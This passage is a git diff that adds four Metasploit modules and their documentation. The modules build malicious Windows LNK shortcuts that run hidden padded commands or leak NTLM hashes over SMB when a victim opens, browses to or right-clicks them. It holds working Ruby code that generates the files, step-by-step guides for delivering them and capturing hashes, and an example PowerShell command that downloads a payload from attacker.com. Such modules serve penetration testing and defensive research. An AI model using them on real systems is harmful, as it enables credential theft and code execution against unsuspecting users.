diff --git a/documentation/modules/auxiliary/fileformat/datablock_padding_lnk.md b/documentation/modules/auxiliary/fileformat/datablock_padding_lnk.md new file mode 100644 index 0000000000000..63b8ef9533092 --- /dev/null +++ b/documentation/modules/auxiliary/fileformat/datablock_padding_lnk.md @@ -0,0 +1,94 @@ +## Vulnerable Application + +Windows systems where LNK files are processed, such as in Explorer or when shortcuts are executed. +This can lead to arbitrary command execution via manipulated command line buffers. + +References: +- [ZDI-CAN-25373](https://www.zerodayinitiative.com/advisories/ZDI-CAN-25373/) +- [Windows LNK Research](https://zeifan.my/Windows-LNK/) +- [Gist Example](https://gist.github.com/nafiez/1236cc4c808a489e60e2927e0407c8d1) +- [Trend Micro Analysis](https://www.trendmicro.com/en_us/research/25/c/windows-shortcut-zero-day-exploit.html) + +Disclosure Date: 2025-07-19. + +## Verification Steps + +1. Start msfconsole. +1. Load the module: `use auxiliary/fileformat/windows_lnk_padding`. +1. Optionally customize FILENAME, DESCRIPTION, ICON_PATH, or BUFFER_SIZE. +1. Execute the module: `run`. +1. A malicious LNK file will be generated. +1. Deliver the LNK file to the target Windows system. +1. Open the LNK file to trigger command execution (e.g., launching calc.exe). + +## Options + + +### COMMAND + +The command to execute when the LNK is opened. + +Default: `C:\\Windows\\System32\\calc.exe` + +Example: +``` +set COMMAND powershell.exe -c "Invoke-WebRequest -Uri http://attacker.com/payload" +``` + +### DESCRIPTION + +Optional description for the LNK file. If not set, a random sentence is generated. + +Example: +``` +set DESCRIPTION Important Document +``` + +### ICON_PATH + +Optional path to an icon for the LNK file. If not set, a random system icon path is generated. + +Example: +``` +set ICON_PATH %SystemRoot%\\System32\\shell32.dll +``` + +### BUFFER_SIZE + +The size of the whitespace padding buffer before the command (must be sufficient to avoid truncation). + +Default: 900 + +Example: +``` +set BUFFER_SIZE 1000 +``` + +## Scenarios + +### Basic Command Execution on Windows + +Target: Any Windows system (e.g., Windows 10 or later). + +Generate an LNK that launches Calculator with custom padding: + +``` +msf > use auxiliary/fileformat/windows_lnk_padding +msf auxiliary(fileformat/windows_lnk_padding) > set FILENAME calc.lnk +FILENAME => calc.lnk +msf auxiliary(fileformat/windows_lnk_padding) > set COMMAND C:\\Windows\\System32\\calc.exe +COMMAND => C:\\Windows\\System32\\calc.exe +msf auxiliary(fileformat/windows_lnk_padding) > set BUFFER_SIZE 900 +BUFFER_SIZE => 900 +msf auxiliary(fileformat/windows_lnk_padding) > set DESCRIPTION Calculator Shortcut +DESCRIPTION => Calculator Shortcut +msf auxiliary(fileformat/windows_lnk_padding) > set ICON_PATH %SystemRoot%\\System32\\calc.exe +ICON_PATH => %SystemRoot%\\System32\\calc.exe +msf auxiliary(fileformat/windows_lnk_padding) > run + +[*] Generating LNK file: calc.lnk +[+] Successfully created calc.lnk +[*] Command line buffer size: 900 bytes +[*] Target command: C:\\Windows\\System32\\calc.exe +[*] Auxiliary module execution completed +``` diff --git a/documentation/modules/auxiliary/fileformat/environment_variable_datablock_leak.md b/documentation/modules/auxiliary/fileformat/environment_variable_datablock_leak.md new file mode 100644 index 0000000000000..3a6379dc792ae --- /dev/null +++ b/documentation/modules/auxiliary/fileformat/environment_variable_datablock_leak.md @@ -0,0 +1,104 @@ +## Vulnerable Application + +Windows systems where LNK files are processed in Explorer, particularly during right-click actions that load context menus. +This can result in NTLM credential leaks over SMB. + +References: +- [Right-Click LNK](https://zeifan.my/Right-Click-LNK/) + +Disclosure Date: 2025-05-06. + +## Verification Steps + +1. Start msfconsole. +1. Load the module: `use auxiliary/fileformat/right_click_lnk_leak`. +1. Optionally customize FILENAME, DESCRIPTION, ICON_PATH, or PADDING_SIZE. +1. Execute the module: `run`. +1. A malicious LNK file is generated. +1. Set up an SMB capture listener (e.g., `auxiliary/server/capture/smb`). +1. Deliver the LNK file to the target system. +1. Right-click the LNK file in Explorer to trigger the SMB connection. +1. Monitor the listener for captured NTLM hashes. + +## Options + +### DESCRIPTION + +The description for the shortcut. + +Default: `Testing Purposes` + +Example: +``` +set DESCRIPTION Important File +``` + +### ICON_PATH + +The path to an icon for the LNK file. + +Default: `e.g. abc.ico` + +Example: +``` +set ICON_PATH %SystemRoot%\\System32\\shell32.dll +``` + +### PADDING_SIZE + +Size of padding in the command arguments. + +Default: 10 + +Example: +``` +set PADDING_SIZE 20 +``` + +## Scenarios + +### NTLM Hash Capture on Right-Click + +Target: Windows system with Explorer (e.g., Windows 10 or later). + +Generate the LNK file: + +``` +msf > use auxiliary/fileformat/right_click_lnk_leak +msf auxiliary(fileformat/right_click_lnk_leak) > set DESCRIPTION Fake Document +DESCRIPTION => Fake Document +msf auxiliary(fileformat/right_click_lnk_leak) > set ICON_PATH %SystemRoot%\\System32\\imageres.dll +ICON_PATH => %SystemRoot%\\System32\\imageres.dll +msf auxiliary(fileformat/right_click_lnk_leak) > set PADDING_SIZE 15 +PADDING_SIZE => 15 +msf auxiliary(fileformat/right_click_lnk_leak) > run + +[*] Creating 'context.lnk' file... +[+] LNK file created: context.lnk +[*] Set up a listener (e.g., auxiliary/server/capture/smb) to capture the authentication +[*] Auxiliary module execution completed +``` + +Set up the capture listener on the attacker machine: + +``` +msf > use auxiliary/server/capture/smb +msf auxiliary(server/capture/smb) > set SRVHOST 192.168.1.25 +SRVHOST => 192.168.1.25 +msf auxiliary(server/capture/smb) > run +[*] Server started. +``` + +Deliver `context.lnk` to the target. When the victim right-clicks it, an SMB connection is attempted: + +``` +[*] SMB Captured - 2025-09-18 21:08:00 +0530 +NTLMv2 Response Captured from 192.168.1.50:49180 - 192.168.1.50 +USER:targetuser DOMAIN:TARGETPC OS: Windows 10 LM: +LMHASH:Disabled +LM_CLIENT_CHALLENGE:Disabled +NTHASH:examplehashvalue +NT_CLIENT_CHALLENGE:examplechallenge +``` + +Use cracking tools to recover credentials from the hash. diff --git a/documentation/modules/auxiliary/fileformat/icon_environment_datablock_leak.md b/documentation/modules/auxiliary/fileformat/icon_environment_datablock_leak.md new file mode 100644 index 0000000000000..9d7a3dc6d92f8 --- /dev/null +++ b/documentation/modules/auxiliary/fileformat/icon_environment_datablock_leak.md @@ -0,0 +1,88 @@ +## Vulnerable Application + +Windows systems using Explorer to browse directories with LNK files, where the IconEnvironmentDataBlock can force SMB authentication leaks. + +References: +- [Right-Click LNK](https://zeifan.my/Right-Click-LNK/) + +Disclosure Date: 2025-05-16. + +## Verification Steps + +1. Start msfconsole. +1. Load the module: `use auxiliary/fileformat/iconenvironmentdatablock_lnk`. +1. Set options like FILENAME, or others as needed. +1. Execute the module: `run`. +1. A malicious LNK file is generated. +1. Place the LNK in a target directory. +1. Browse the directory in Windows Explorer to trigger the SMB connection. +1. Check the console for captured NTLM hashes. + +## Options + + +### DESCRIPTION + +Optional description for the shortcut. If unset, a random sentence is generated. + +Example: +``` +set DESCRIPTION System Update +``` + +### ICON_PATH + +Optional icon path for the LNK. If unset, a random system icon path is generated. + +Example: +``` +set ICON_PATH %SystemRoot%\\System32\\shell32.dll +``` + +### PADDING_SIZE + +Size of padding in the command arguments. + +Default: 10 + +Example: +``` +set PADDING_SIZE 20 +``` + + +## Scenarios + +### NTLM Hash Capture via Integrated Server + +Target: Windows system with Explorer. + +``` +msf > use auxiliary/fileformat/iconenvironmentdatablock_lnk +msf auxiliary(fileformat/iconenvironmentdatablock_lnk) > set FILENAME leak.lnk +FILENAME => leak.lnk +msf auxiliary(fileformat/iconenvironmentdatablock_lnk) > set SRVHOST 192.168.1.25 +SRVHOST => 192.168.1.25 +msf auxiliary(fileformat/iconenvironmentdatablock_lnk) > set DESCRIPTION Fake Shortcut +DESCRIPTION => Fake Shortcut +msf auxiliary(fileformat/iconenvironmentdatablock_lnk) > set PADDING_SIZE 15 +PADDING_SIZE => 15 +msf auxiliary(fileformat/iconenvironmentdatablock_lnk) > run + +[*] Creating 'leak.lnk' file... +[+] LNK file created: leak.lnk +[*] Listening for hashes on 192.168.1.25:445 +[*] Auxiliary module execution completed +``` + +Deliver `leak.lnk` to a target folder. Browsing the folder triggers an SMB connection: + +``` +[*] SMB Captured - 2025-09-18 21:07:00 +0530 +NTLMv2 Response Captured from 192.168.1.50:49180 - 192.168.1.50 +USER:victim DOMAIN:VICTIMPC OS: Windows 10 LM: +LMHASH:Disabled +LM_CLIENT_CHALLENGE:Disabled +NTHASH:samplehash +NT_CLIENT_CHALLENGE:samplechallenge +``` diff --git a/documentation/modules/auxiliary/fileformat/specialfolder_leak.md b/documentation/modules/auxiliary/fileformat/specialfolder_leak.md new file mode 100644 index 0000000000000..82632b53d8a17 --- /dev/null +++ b/documentation/modules/auxiliary/fileformat/specialfolder_leak.md @@ -0,0 +1,72 @@ +## Vulnerable Application + +Windows operating systems that process LNK files via Explorer, particularly when browsing directories containing the malicious shortcut. +This can lead to NTLM credential leaks over SMB. + +References: +- [Right-Click LNK](https://zeifan.my/Right-Click-LNK/) +- [Exploit-DB 42382](https://www.exploit-db.com/exploits/42382) + +Disclosure Date: 2025-05-10 (reported to MSRC). + +## Verification Steps + +1. Start msfconsole. +2. Load the module: `use auxiliary/fileformat/specialfolderdatablock_lnk`. +3. Customize options as needed (e.g., set FILENAME or APPNAME). +4. Execute the module: `run`. +5. A malicious LNK file will be generated. +6. If not using a custom UNCPATH, the module starts an SMB capture server automatically. +7. Place the LNK file in a directory on the target system. +8. Browse to the directory in Windows Explorer to trigger the SMB connection. +9. Monitor the console for captured NTLM hashes. + +## Options + +### APPNAME + +Sets the display name of the application in the LNK file. If empty, a random name is generated. + +Example: +``` +set APPNAME FakeApp +``` + + +## Scenarios + +### Basic NTLM Hash Capture on Windows + +Target: A Windows system with Explorer (e.g., Windows 10 or later). + +Attacker: Use the module to generate the LNK and capture hashes locally. + +``` +msf > use auxiliary/fileformat/specialfolderdatablock_lnk +msf auxiliary(fileformat/specialfolderdatablock_lnk) > set FILENAME malicious.lnk +FILENAME => malicious.lnk +msf auxiliary(fileformat/specialfolderdatablock_lnk) > set SRVHOST 192.168.1.25 +SRVHOST => 192.168.1.25 +msf auxiliary(fileformat/specialfolderdatablock_lnk) > set APPNAME FakeApp +APPNAME => FakeApp +msf auxiliary(fileformat/specialfolderdatablock_lnk) > run + +[*] Starting SMB server on 192.168.1.25:445 +[*] Generating malicious LNK file +[+] malicious.lnk stored at /root/.msf4/local/malicious.lnk +[*] Listening for hashes on 192.168.1.25:445 +[*] Auxiliary module execution completed +``` + +Deliver the `malicious.lnk` file to the target (e.g., via email or shared drive). +When the victim opens the containing folder in Explorer, an SMB connection is attempted: + +``` +[*] SMB Captured - 2025-09-18 21:03:00 +0530 +NTLMv2 Response Captured from 192.168.1.50:49180 - 192.168.1.50 +USER:targetuser DOMAIN:TARGETPC OS: Windows 10 LM: +LMHASH:Disabled +LM_CLIENT_CHALLENGE:Disabled +NTHASH:examplehashvalue +NT_CLIENT_CHALLENGE:examplechallenge +``` diff --git a/modules/auxiliary/fileformat/datablock_padding_lnk.rb b/modules/auxiliary/fileformat/datablock_padding_lnk.rb new file mode 100644 index 0000000000000..0857498711c46 --- /dev/null +++ b/modules/auxiliary/fileformat/datablock_padding_lnk.rb @@ -0,0 +1,155 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## +require 'faker' + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::FILEFORMAT + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Windows Shortcut (LNK) Padding', + 'Description' => %q{ + This module generates Windows LNK (shortcut) file that can execute + arbitrary commands. The LNK file uses environment variables and execute + its arguments from COMMAND_LINE_ARGUMENTS with extra juicy whitespace + character padding bytes and concatenates the actual payload. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'Nafiez' ], + 'References' => [ + ['ZDI', '25-148'], + ['URL', 'https://zeifan.my/Windows-LNK/'], + ['URL', 'https://gist.github.com/nafiez/1236cc4c808a489e60e2927e0407c8d1'], + ['URL', 'https://www.trendmicro.com/en_us/research/25/c/windows-shortcut-zero-day-exploit.html'] + ], + 'Platform' => 'win', + 'Targets' => [ [ 'Windows', {} ] ], + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [], + 'SideEffects' => [ARTIFACTS_ON_DISK] + }, + 'DisclosureDate' => '2025-07-19' + ) + ) + + register_options([ + OptString.new('COMMAND', [ true, 'Command to execute', 'C:\\Windows\\System32\\calc.exe' ]), + OptString.new('DESCRIPTION', [ false, 'LNK file description', nil ]), + OptString.new('ICON_PATH', [ false, 'Icon path for the LNK file', nil]), + OptInt.new('BUFFER_SIZE', [ true, 'Buffer size before payload', 900 ]) + ]) + end + + def run + datastore['FILENAME'] + command = datastore['COMMAND'] + description = datastore['DESCRIPTION'] + icon_path = datastore['ICON_PATH'] + + description = "#{Faker::Lorem.sentence(word_count: 3)}Shortcut" if description.blank? + icon_path = "%SystemRoot%\\System32\\#{Faker::File.file_name(ext: 'icon')}%SystemRoot%\\System32\\shell32.dll" if icon_path.blank? + + buffer_size = datastore['BUFFER_SIZE'] + + lnk_data = generate_lnk_file(command, description, icon_path, buffer_size) + + filename = file_create(lnk_data) + + print_good("successfully created #{filename}") + print_status("command line buffer size: #{buffer_size} bytes") + print_status("target command: #{command}") + end + + private + + def generate_lnk_file(command, description, icon_path, buffer_size) + data = ''.force_encoding('ASCII-8BIT') + data << create_shell_link_header + data << create_string_data(description) + + cmd_buffer = create_command_buffer(command, buffer_size) + + data << create_string_data(cmd_buffer) + data << create_string_data(icon_path) + data << create_environment_block + + data + end + + def create_shell_link_header + header = ''.force_encoding('ASCII-8BIT') + header << [0x0000004C].pack('V') + header << [0x00021401].pack('V') + header << [0x0000].pack('v') + header << [0x0000].pack('v') + header << [0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46].pack('C8') + + link_flags = 0x00000004 | 0x00000020 | 0x00000040 | 0x00000080 | 0x00000200 | 0x02000000 + + header << [link_flags].pack('V') + header << [0x00000000].pack('V') + header << [0x00000000, 0x00000000].pack('VV') + header << [0x00000000, 0x00000000].pack('VV') + header << [0x00000000, 0x00000000].pack('VV') + header << [0].pack('V') + header << [0].pack('V') + header << [0x00000007].pack('V') + header << [0].pack('v') + header << [0].pack('v') + header << [0].pack('V') + header << [0].pack('V') + + header + end + + def create_string_data(str) + data = ''.force_encoding('ASCII-8BIT') + + data << [str.length].pack('v') + + unicode_str = str.encode('UTF-16LE').force_encoding('ASCII-8BIT') + data << unicode_str + + data + end + + def create_command_buffer(command, buffer_size) + cmd_command = "/c #{command}" + + cmd_len = cmd_command.length + fill_bytes = buffer_size - cmd_len + + buffer = ' ' * fill_bytes + cmd_command + + buffer << "\x00" + + buffer + end + + def create_environment_block + data = ''.force_encoding('ASCII-8BIT') + + block_size = 0x00000314 + data << [block_size].pack('V') + + signature = 0xA0000001 + data << [signature].pack('V') + + env_path = '%windir%\\system32\\cmd.exe' + + ansi_buffer = env_path.ljust(260, "\x00")[0, 260].force_encoding('ASCII-8BIT') + data << ansi_buffer + + unicode_buffer = env_path.encode('UTF-16LE') + unicode_buffer = unicode_buffer.ljust(520, "\x00".force_encoding('UTF-16LE'))[0, 520].force_encoding('ASCII-8BIT') + data << unicode_buffer + + data + end +end diff --git a/modules/auxiliary/fileformat/environment_variable_datablock_leak.rb b/modules/auxiliary/fileformat/environment_variable_datablock_leak.rb new file mode 100644 index 0000000000000..6fd81cbf80b56 --- /dev/null +++ b/modules/auxiliary/fileformat/environment_variable_datablock_leak.rb @@ -0,0 +1,185 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'faker' + +class MetasploitModule < Msf::Auxiliary + + include Msf::Exploit::FILEFORMAT + include Msf::Exploit::Remote::SMB::Server::Share + include Msf::Exploit::Remote::SMB::Server::HashCapture + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Right-Click Execution - Windows LNK File Special UNC Path NTLM Leak', + 'Description' => %q{ + This module creates a malicious Windows shortcut (LNK) file that + specifies a special UNC path in EnvironmentVariableDataBlock of Shell Link (.LNK) + that can trigger an authentication attempt to a remote server. This can be used + to harvest NTLM authentication credentials. + + When a victim right-click the generated LNK file, it will attempt to connect to the + the specified UNC path, resulting in an SMB connection that can be captured + to harvest credentials. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Nafiez', # Original POC & Module + ], + 'References' => [ + ['URL', 'https://zeifan.my/Right-Click-LNK/'] + ], + 'Platform' => 'win', + 'Targets' => [ + ['Windows', {}] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => '2025-05-06', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [ARTIFACTS_ON_DISK, SCREEN_EFFECTS], + 'Reliability' => [] + } + ) + ) + + register_options([ + OptString.new('DESCRIPTION', [false, 'The shortcut description', nil]), + OptString.new('ICON_PATH', [false, 'The icon path to use', nil]), + OptInt.new('PADDING_SIZE', [false, 'Size of padding in command arguments', 10]), + ]) + end + + def run + lnk_data = create_lnk_file + filename = file_create(lnk_data) + print_good("LNK file created: #{filename}") + + start_smb_capture_server + print_status("Listening for hashes on #{srvhost}:#{srvport}") + + stime = Time.now.to_f + timeout = datastore['ListenerTimeout'].to_i + loop do + break if timeout > 0 && (stime + timeout < Time.now.to_f) + + Rex::ThreadSafe.sleep(1) + end + end + + def create_lnk_file + data = ''.b + + # LNK header - 76 bytes + header = "\x4C\x00\x00\x00".b + + # LinkCLSID (00021401-0000-0000-C000-000000000046) + header += "\x01\x14\x02\x00\x00\x00\x00\x00\xC0\x00\x00\x00\x00\x00\x00\x46".b + + # Define LinkFlags + link_flags = 0x00000000 + link_flags |= 0x00000004 # HAS_NAME + link_flags |= 0x00000020 # HAS_ARGUMENTS + link_flags |= 0x00000040 # HAS_ICON_LOCATION + link_flags |= 0x00000080 # IS_UNICODE + link_flags |= 0x00000200 # HAS_EXP_STRING + + header += [link_flags].pack('V') + + # FileAttributes (FILE_ATTRIBUTE_NORMAL) + header += "\x20\x00\x00\x00".b + + # CreationTime, AccessTime, WriteTime (zeroed) + header += ("\x00\x00\x00\x00\x00\x00\x00\x00".b) * 3 + + # FileSize + header += "\x00\x00\x00\x00".b + + # IconIndex + header += "\x00\x00\x00\x00".b + + # ShowCommand (SW_SHOWNORMAL) + header += "\x01\x00\x00\x00".b + + # HotKey + header += "\x00\x00".b + + # Reserved fields + header += "\x00\x00".b + "\x00\x00\x00\x00".b + "\x00\x00\x00\x00".b + + # Add the header to our binary data + data += header + + # NAME field (description in Unicode) + description = datastore['DESCRIPTION'] || Faker::Lorem.sentence(word_count: 3) + description_utf16 = description.encode('UTF-16LE').b + data += [description_utf16.bytesize / 2].pack('v') + data += description_utf16 + + # ARGUMENTS field (command line arguments in Unicode) + padding_size = datastore['PADDING_SIZE'] + cmd_args = ' ' * padding_size + cmd_args_utf16 = cmd_args.encode('UTF-16LE').b + data += [cmd_args_utf16.bytesize / 2].pack('v') + data += cmd_args_utf16 + + # ICON LOCATION field (icon path in Unicode) + icon_path = datastore['ICON_PATH'] || 'e.g. abc.ico' + icon_path_utf16 = icon_path.encode('UTF-16LE').b + data += [icon_path_utf16.bytesize / 2].pack('v') + data += icon_path_utf16 + + # ExtraData section - ICON ENVIRONMENT DATABLOCK SIGNATURE + env_block_size = 0x00000314 # Total size of this block + env_block_sig = 0xA0000001 # Environmental Variables block signature + + data += [env_block_size].pack('V') + data += [env_block_sig].pack('V') + + # Target field in ANSI (260 bytes) + unc_share = datastore['SHARE'] + unc_share = Rex::Text.rand_text_alphanumeric(6) if unc_share.blank? + unc_path = "\\\\#{srvhost}\\#{unc_share}" + + # Create fixed-size ANSI buffer with nulls + ansi_buffer = "\x00".b * 260 + + # Copy the UNC path bytes into the buffer + unc_path.bytes.each_with_index do |byte, i| + ansi_buffer.setbyte(i, byte) if i < ansi_buffer.bytesize + end + + data += ansi_buffer + + # Target field in Unicode (520 bytes) + unc_path_utf16 = unc_path.encode('UTF-16LE').b + + # Create fixed-size Unicode buffer with nulls + unicode_buffer = "\x00".b * 520 + + # Copy the UTF-16LE encoded UNC path bytes into the buffer + unc_path_utf16.bytes.each_with_index do |byte, i| + unicode_buffer.setbyte(i, byte) if i < unicode_buffer.bytesize + end + + data += unicode_buffer + + data += "\x00\x00\x00\x00".b + + data + end + + def get_unc_path + "\\\\#{srvhost}\\#{Rex::Text.rand_text_alphanumeric(6)}" + end + + def start_smb_capture_server + start_service + print_status('The SMB service has been started.') + end + +end diff --git a/modules/auxiliary/fileformat/icon_environment_datablock_leak.rb b/modules/auxiliary/fileformat/icon_environment_datablock_leak.rb new file mode 100644 index 0000000000000..feea7ce38478b --- /dev/null +++ b/modules/auxiliary/fileformat/icon_environment_datablock_leak.rb @@ -0,0 +1,183 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'faker' + +class MetasploitModule < Msf::Auxiliary + + include Msf::Exploit::FILEFORMAT + include Msf::Exploit::Remote::SMB::Server::Share + include Msf::Exploit::Remote::SMB::Server::HashCapture + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'IconEnvironmentDataBlock - Windows LNK File Special UNC Path NTLM Leak', + 'Description' => %q{ + This module creates a malicious Windows shortcut (LNK) file that + specifies a special UNC path in IconEnvironmentDataBlock of Shell Link (.LNK) + that can trigger an authentication attempt to a remote server. This can be used + to harvest NTLM authentication credentials. + + When a victim browse to the location of the LNK file, it will attempt to + connect to the the specified UNC path, resulting in an SMB connection that + can be captured to harvest credentials. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Nafiez', # Original POC & MSF Module + ], + 'References' => [ + ['URL', 'https://zeifan.my/Right-Click-LNK/'] + ], + 'Platform' => 'win', + 'Targets' => [ + ['Windows', {}] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => '2025-05-16', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [ARTIFACTS_ON_DISK], + 'Reliability' => [] + } + ) + ) + + register_options([ + + OptString.new('DESCRIPTION', [false, 'The shortcut description', nil]), + OptString.new('ICON_PATH', [false, 'The icon path to use (not necessary using real ICON)', nil]), + OptInt.new('PADDING_SIZE', [false, 'Size of padding in command arguments', 10]) + ]) + end + + def run + description = datastore['DESCRIPTION'] + icon_path = datastore['ICON_PATH'] + + description = "#{Faker::Lorem.sentence(word_count: 3)}Shortcut" if description.blank? + + icon_path = "%SystemRoot%\\System32\\#{Faker::File.file_name(ext: 'ico')}.to_s}%SystemRoot%\System32\shell32.dll" if icon_path.blank? + + start_smb_capture_server + unc_share = datastore['SHARE'] + unc_share = Rex::Text.rand_text_alphanumeric(6) if unc_share.blank? + unc_path = "\\\\#{srvhost}\\\\#{unc_share}" + lnk_data = create_lnk_file(description, icon_path, unc_path) + filename = file_create(lnk_data) + print_good("LNK file created: #{filename}") + print_status("Listening for hashes on #{srvhost}") + + stime = Time.now.to_f + timeout = datastore['ListenerTimeout'].to_i + loop do + break if timeout > 0 && (stime + timeout < Time.now.to_f) + + Rex::ThreadSafe.sleep(1) + end + end + + def create_lnk_file(description, icon_path, unc_path) + data = ''.b + + # LNK header - 76 bytes + header = "\x4C\x00\x00\x00".b + + # LinkCLSID (00021401-0000-0000-C000-000000000046) + header += "\x01\x14\x02\x00\x00\x00\x00\x00\xC0\x00\x00\x00\x00\x00\x00\x46".b + + # Define LinkFlags + link_flags = 0x00000000 + link_flags |= 0x00000004 # HAS_NAME + link_flags |= 0x00000020 # HAS_ARGUMENTS + link_flags |= 0x00000040 # HAS_ICON_LOCATION + link_flags |= 0x00000080 # IS_UNICODE + link_flags |= 0x00004000 # HAS_EXP_ICON + + header += [link_flags].pack('V') + + # FileAttributes (FILE_ATTRIBUTE_NORMAL) + header += "\x20\x00\x00\x00".b + + # CreationTime, AccessTime, WriteTime (zeroed) + header += ("\x00\x00\x00\x00\x00\x00\x00\x00".b) * 3 + + # FileSize + header += "\x00\x00\x00\x00".b + + # IconIndex + header += "\x00\x00\x00\x00".b + + # ShowCommand (SW_SHOWNORMAL) + header += "\x01\x00\x00\x00".b + + # HotKey + header += "\x00\x00".b + + # Reserved fields + header += "\x00\x00".b + "\x00\x00\x00\x00".b + "\x00\x00\x00\x00".b + + # Add the header to our binary data + data += header + + # NAME field (description in Unicode) + description_utf16 = description.encode('UTF-16LE').b + data += [description_utf16.bytesize / 2].pack('v') + data += description_utf16 + + # ARGUMENTS field (command line arguments in Unicode) + padding_size = datastore['PADDING_SIZE'] + cmd_args = ' ' * padding_size + cmd_args_utf16 = cmd_args.encode('UTF-16LE').b + data += [cmd_args_utf16.bytesize / 2].pack('v') + data += cmd_args_utf16 + + # ICON LOCATION field (icon path in Unicode) + icon_path_utf16 = icon_path.encode('UTF-16LE').b + data += [icon_path_utf16.bytesize / 2].pack('v') + data += icon_path_utf16 + + # ExtraData section - ICON ENVIRONMENT DATABLOCK SIGNATURE + env_block_size = 0x00000314 # Total size of this block + env_block_sig = 0xA0000007 # ICON_ENVIRONMENT_DATABLOCK_SIGNATURE + + data += [env_block_size].pack('V') + data += [env_block_sig].pack('V') + + # Create fixed-size ANSI buffer with nulls + ansi_buffer = "\x00".b * 260 + + # Copy the UNC path bytes into the buffer + unc_path.bytes.each_with_index do |byte, i| + ansi_buffer.setbyte(i, byte) if i < ansi_buffer.bytesize + end + + data += ansi_buffer + + # Target field in Unicode (520 bytes) + unc_path_utf16 = unc_path.encode('UTF-16LE').b + + # Create fixed-size Unicode buffer with nulls + unicode_buffer = "\x00".b * 520 + + # Copy the UTF-16LE encoded UNC path bytes into the buffer + unc_path_utf16.bytes.each_with_index do |byte, i| + unicode_buffer.setbyte(i, byte) if i < unicode_buffer.bytesize + end + + data += unicode_buffer + + data += "\x00\x00\x00\x00".b + + data + end + + def start_smb_capture_server + start_service + end + +end diff --git a/modules/auxiliary/fileformat/specialfolder_leak.rb b/modules/auxiliary/fileformat/specialfolder_leak.rb new file mode 100644 index 0000000000000..a4df374248615 --- /dev/null +++ b/modules/auxiliary/fileformat/specialfolder_leak.rb @@ -0,0 +1,174 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## +require 'faker' + +class MetasploitModule < Msf::Auxiliary + + include Msf::Exploit::FILEFORMAT + include Msf::Exploit::Remote::SMB::Server::Share + include Msf::Exploit::Remote::SMB::Server::HashCapture + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'SpecialFolderDatablock - Windows LNK File Special UNC Path NTLM Leak', + 'Description' => %q{ + This module creates a malicious Windows shortcut (LNK) file that + specifies a special UNC path in SpecialFolderDatablock of Shell Link (.LNK) + that can trigger an authentication attempt to a remote server. This can be used + to harvest NTLM authentication credentials. + + When a victim browse to the location of the LNK file, it will attempt to + connect to the the specified UNC path, resulting in an SMB connection that + can be captured to harvest credentials. + }, + 'Author' => [ 'Nafiez' ], + 'License' => MSF_LICENSE, + 'References' => [ + [ + 'URL', 'https://zeifan.my/Right-Click-LNK/', + 'EDB', '42382', + ] + ], + 'Platform' => 'win', + 'Targets' => [ [ 'Windows Universal', {} ] ], + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [], + 'SideEffects' => [ARTIFACTS_ON_DISK] + }, + 'DisclosureDate' => '2025-05-10' # Disclosed to MSRC on 2025-05-10 + ) + ) + + register_options([ + OptString.new('APPNAME', [ false, 'Name of the application to display', nil]) + ]) + end + + def generate_shell_link_header + header = '' + header << [0x4C].pack('L') # HeaderSize (4 bytes) + header << [0x00021401, 0x0000, 0x0000, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46].pack('LSSCCCCCCCC') # LinkCLSID (16 bytes) + header << [0x81].pack('L') # LinkFlags (4 bytes): HasLinkTargetIDList + IsUnicode + header << [0x00].pack('L') # FileAttributes (4 bytes) + header << [0x00].pack('Q') # CreationTime (8 bytes) + header << [0x00].pack('Q') # AccessTime (8 bytes) + header << [0x00].pack('Q') # WriteTime (8 bytes) + header << [0x00].pack('L') # FileSize (4 bytes) + header << [0x00].pack('L') # IconIndex (4 bytes) + header << [0x00].pack('L') # ShowCommand (4 bytes) + header << [0x00].pack('S') # HotKey (2 bytes) + header << [0x00].pack('S') # Reserved1 (2 bytes) + header << [0x00].pack('L') # Reserved2 (4 bytes) + header << [0x00].pack('L') # Reserved3 (4 bytes) + + header + end + + def generate_item_id(data) + [data.length + 2].pack('S') + data + end + + def generate_lnk_special(path, name) + # Force encoding to ASCII-8BIT (binary) to avoid encoding issues + path = path.dup.force_encoding('ASCII-8BIT') + name = name.dup.force_encoding('ASCII-8BIT') + + # Add null terminator + path += "\x00".force_encoding('ASCII-8BIT') + name += "\x00".force_encoding('ASCII-8BIT') + + # Convert to UTF-16LE manually + path_utf16 = path.encode('UTF-16LE').force_encoding('ASCII-8BIT') + name_utf16 = name.encode('UTF-16LE').force_encoding('ASCII-8BIT') + + # Remove BOM (first 2 bytes) if present + path_utf16 = path_utf16[2..] if path_utf16.start_with?("\xFF\xFE") + name_utf16 = name_utf16[2..] if name_utf16.start_with?("\xFF\xFE") + + bin_data = ''.force_encoding('ASCII-8BIT') + bin_data << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x6a\x00\x00\x00\x00\x00\x00".force_encoding('ASCII-8BIT') + bin_data << [path.length].pack('S') + bin_data << [name.length].pack('S') + bin_data << path_utf16 + bin_data << name_utf16 + bin_data << "\x00\x00".force_encoding('ASCII-8BIT') # comment + + bin_data + end + + def generate_linktarget_idlist(path, name) + idlist = ''.force_encoding('ASCII-8BIT') + + # Reference - https://www.tenforums.com/tutorials/3123-clsid-key-guid-shortcuts-list-windows-10-a.html + + # First ItemID - My 